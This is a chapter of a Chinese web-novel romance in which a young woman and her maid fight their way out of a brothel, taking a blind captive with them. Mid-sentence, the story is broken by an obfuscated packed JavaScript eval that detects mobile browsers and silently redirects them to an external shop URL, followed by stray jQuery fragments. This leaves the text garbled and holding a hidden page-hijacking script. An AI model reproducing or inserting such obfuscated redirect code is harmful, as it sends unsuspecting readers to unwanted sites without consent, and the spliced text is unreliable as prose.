文趣网 > 都市小说 > 我那柔弱不禁风的外室 > 4. 离青楼
    一炷香功夫,外头声都歇住,她早将整身子压在美人身上,强捂住美人唇瓣,不让身下人发出一声。

    李梵爬伏在美人身上,捏住美人腕子的手未松分毫,不屑一笑,“敢占我李梵便宜,你倒是贼心不死。”

    她气头涌上,手指并刀状,一掌将劈在美人脖颈。

    怎料她这招没砸对地方,敲在男子肩上,还将男子本身就虚弱的身子敲出口血水。

    男子吐出口血,恶狠道:“你放肆!”

    她嘻嘻一笑,解释,“手滑了,我再重打下,保证让你昏死过去!”

    手掌再并刀状,堪要劈下男子脖颈,男子脑袋一撇,立道:“莫打晕我,我要你带我出去!”

    手就停在男子脆弱脖颈上,脑袋一歪,看着男子呵笑,“你,凭什么要我带你出去?”

    “有什么条件?”她上下打量着眼前美脸,在美人脸上划上几下,“开不出诱惑我的条件,不带。”

    美人咬牙切齿,蹙眉沉默好会儿。

    她依旧将身子趴在美人身上,率先开口,“怎么,没有条件?”

    见男子不回应,继道:“你是没甚条件,凭你副残弱身子,是不是想不出什么来?”

    她伸着指头在男子眸子前晃三晃,“何况你还是个看不清的,如何同我,谈条件。”

    李梵手指近乎戳进男子眼白,来回动着指头,那双好看桃花眸,一眨不眨,眼珠未动。

    这是真瞎了。

    打消猜忌,她托腮挑逗着,“一个眼盲身弱的花楼小倌,想脱身花楼中,怕是要多付出些代价。”

    “什么代价?”沉默半刻的男子,终回她。

    男子此刻没法子同她谈条件,她现下需要一个替罪羊,来帮她背下杀夫之实。

    此人虽是个眼瞎,但依方才打晕彩雀,定是个心狠手辣之人,临死还不忘同她谈条件,绝非凡俗。纵是个麻烦,或许也是奇货可居。

    她知晓男子看不见,拿着指尖点下男子胸脯,“自然是,你的命……”

    “娘子好算盘,”身下男子垂着眸,咧嘴装笑,全不似方才狠辣,语气尽是谄媚,“那以后,我的命,就是娘子的,娘子想做何,便做何,只要娘子救我出花楼。”

    “好,甚好,那就这么定了,”她笑着戳下男子脸颊,手指并作刀状,放在男子脖颈,又是一掌。

    这次,没打偏,劲儿使得刚好,男子还想再同她讲些什么,也一并跟着唾沫掉进肚里。

    她爽利拍手,转身将昏迷多时的彩雀扶起。

    彩雀就着凉地昏了小半刻,起身摸着磕疼的脑袋,警惕地抓紧李梵手腕,“娘子,快先走,那床上男的,恐要伤你!”

    “我留下来,护住娘子!”彩雀急忙道。

    因着方才是那男子将彩雀打晕在地,彩雀对床上男子,防备之大。

    “无碍,彩雀,那男的,我已经给敲晕了,”李梵摸下彩雀来回转动的脑袋,温柔一笑,“危险已解,现下正是咱们走的好时候。”

    “好,娘子何时动身,”彩雀问她。

    她抬眸,眼见天边黑色闪出几颗星,又见楼外街巷挂上彩灯,已是二更,过路行人比方才多上大半,“现在,就可动身。”

    “好,娘子,我去牵马车,”彩雀说罢,拍下袖子,要打开门时,不知门外何时落锁,如何推不开。

    彩雀立拍几下门,喝来门外小厮,“你们这是做何,竟敢私锁贵客,是要行什么肮脏勾当?”

    小厮好像一直守在门外,且等着她在屋里问话,一脸谄媚,来回搓着两手,“诶哟喂,瞧你说的什么话,我们老鸨说了,今夜是要款待娘子的,怎生是肮脏勾当,一会子,老鸨就要同娘子说说话,顺道儿还要给娘子上上好酒好菜不是。”

    “贵客在房里头也是累上多时,也该好好吃喝一番,多攒些力气才能继续出发不是。”

    小厮拦着门,左右两边,一边一个,守在春归房前,将李梵二人,视作囚犯。

    彩雀气涌上来,接连踹出几脚,怒骂,“你们无礼卑鄙,竟敢囚我家娘子!”

    小厮不理彩雀愤怒,语气平静,“娘子别恼,这只是尊客之道,客人还未用上好酒好菜,怎生就让走了不是。”

    “你……”彩雀气得哑嗓,拳头攥得嘎嘣响。

    小厮依旧不要面皮道:“这哪是囚禁,这是楼里想留下娘子,娘子身怀万两金银,怎生也得让咱们楼里好生招待番后,再将娘子放出不是。”

    彩雀回头,看眼自家娘子,紧道:“娘子如何办?”

    她伸手握下彩雀手,眼神示意下,彩雀侧身站在门前,攥紧拳头,静等着。

    李梵清嗓,朗声回上,“楼中待客之道,真可谓是尽心尽责,作这楼里贵客,岂有不收之理?”

    “不是要上菜吗?把菜,拿上来!”李梵气定神闲地喝下口茶水。

    “诶好嘞,就等娘子发话,”小厮在门缝里暗暗探看房里情况,看个仔细。

    没料想,小厮方将门锁打开,门缝瞬间变大,两扇木门直拍在小厮眼上,双目霎黑上,鼻上顿觉一硬物砸上来,痛觉袭脑,整个身子僵在地上,翻动着身子大喊,“哎哟,哎哟!”

    小厮倒地蛄蛹着,在地上捂眼哀嚎,“我的眼睛,眼睛看不见了。”

    “看不见了,那还得了,”李梵笑笑,让彩雀收起拳头,朗声对着后面几个端菜小厮道:“去把你们老鸨叫来,我有话,同她讲。”

    端菜小厮未动一步,只捏着饭菜面面相觑,不敢动作。

    “你们,不去?”李梵拍拍地上哀嚎小厮,“让他们把老鸨叫来,我给你们老鸨家传玉佩。”

    听着万两金玉佩终要拿出来,躺地不起的小厮是也不嚎了,立直腰坐起,“好好,小的这就让他们去叫。”

    小厮伸手指着后头几个小厮便道:“你们快去将老鸨喊来,快去!莫要磨蹭!”

    话毕,端菜小厮将菜送进屋里,抬脚即刻去找那老鸨。

    李梵眼瞅着几个小厮消失在楼上,重看向地上小厮,“方才一直叫嚣的是你?给春归房落锁的也是你?”

    小厮一时慌张,不敢搭话,一下下瞅着后头木阶可有人上来,想借此逃走。

    李梵早看出这家伙想逃,随即拍手,让彩雀再赏小厮两拳。

    彩雀是个练家子,自打小时就跟在李梵身边,小厮被像个球似得拽到彩雀身侧,对着小厮胸脯就是两拳。

    就两拳,小厮眼冒金星,痛得求饶,“错了错了,小的没有要害你,真的小的没有要害你,都是老鸨,都是老鸨子的主意,小的不过是把门锁上,主意全都是那老鸨子出的,不关小的事。”

    “是吗,那我还,打错你了?”李梵扯扯衣裳褶皱,眼看着老鸨气喘吁吁地从楼上跑来。

    被打小厮见救星来,抓着老鸨群角就道:“老鸨,您看这娘子,她打小的,老鸨要同小的作主啊。”

    李梵未等老鸨开口,而是将怀中价值万两玉佩置在手里,淡道:“是他将春归

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815278|211029||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    房落锁,为的是谋财害命,莫不成老鸨也与此事有极大干系?”

    她明眼看着老鸨是何反应,是不是狗咬狗?

    不出所料,老鸨想拿她手中玉佩,嘴里打着磕绊,“这哪能将贵客锁在房里不是,全是这货眼瞎,我要他锁隔壁夏至阁,他倒去了春归房,真够蠢笨。”

    抓着老鸨衣裙的小厮知晓自己成替罪羔羊,立喊冤,“不是您让小的锁房的,是您让小的得上娘子手里玉佩,连装玉佩的红木盒子都是小的拿的,小的冤啊!”

    老鸨知晓自己被戳穿,当即骂上小厮脑子是个傻的,让李梵别信,摆手让手头几个小厮将那冤小厮送下楼去。

    李梵见着老鸨把自己摘得干净,只将玉佩在离老鸨一丈远,讽刺,“看样子,您是见钱眼开,只是为钱。”

    老鸨以为李梵夸赞,笑呵接话,“自然,世人谁不爱钱,也就是娘子家世显赫,此等金银不足挂齿。”

    她捏着玉佩抬眸看看一楼,对着老鸨道:“外头几个蓝衣男子,您处置了?”

    “处置了,给绑起来了,娘子大可放心,”老鸨拍拍胸脯,眼头时不时扫向门外。

    她跟着老鸨视线也瞥向门外街巷,一眼便又见着几个言行可疑的男子遮遮掩掩,形迹可疑。

    那几人,并没走。

    “那便多谢老鸨掩护,”她装着高兴,故擦着眼泪,指着床上昏死的男子,“老鸨,这男子,我要他。”

    “当真?!”老鸨欣喜,终于要将这烫手山芋送出去,两眼笑作条缝,当即拍手叫来几个小厮,手上又现出那木盒子,“那就按娘子所说的,娘子将那玉佩,给我。”

    “少不了老鸨的,”李梵捏住玉佩在老鸨面前晃上番,故意收在掌心,“那便劳烦老鸨,将这男子打扮成女子。”

    “好好好,”老鸨一时犹豫但眼前可是万两黄金,这从死人堆里捡来的瞎子竟也能卖上这样好的价钱,当真是值。

    老鸨捏着帕子喝来几个姑娘,半刻功夫就将男子化成个美人儿。

    看着胭脂水粉打在脸上的男子,李梵挥手,让老鸨送上马车。

    老鸨没再多想,招呼着小厮将男子抬上马车,李梵同彩雀站在马车前,余光再瞥见几个行迹鬼祟的眼线,他们不穿蓝衣倒换上黑衣,掩人耳目。

    李梵如常,从怀里拿出那玉佩,装着怜惜之情,“这可是我家传宝贝,我爹死得早,临走前他可是将这唯一信物给了我,老鸨要好生帮我保管,等我再来,我定会将这块子玉佩,赎回来。”

    老鸨伸手直抢过她手心玉佩,迎着灯光,四处察看。

    精刻着的山水玉佩,被灯打得有光有泽,摸起来温润,掂量起来也是有些分量。

    老鸨很是满意,摇晃着胖躯,直笑,“娘子放心,这玉佩,定会给娘子好好保管上番。”

    “那多谢老鸨,”李梵脸颊落上几滴泪,眼眶微红,点着脑袋同老鸨道别,“那小女子,归家了,告辞。”

    “走吧,”得下宝贝,老鸨高兴,忙带着一群小厮送她,“贵客走好。”

    “走好,”老鸨摆手,送着李梵马车隐入车流中。

    直至马车消失不见,老鸨细眼微眯,“这玉佩是殿下的。”

    “那为何还要将殿下送走,”一小厮问。

    “不送走,留在这里,殿下会出事,何况危险之地,就是最安全之地,”老鸨眉头蹙下,扭着腰即道:“把那几个杨家眼线,就地埋了。”

    “是,”几个小厮,齐道。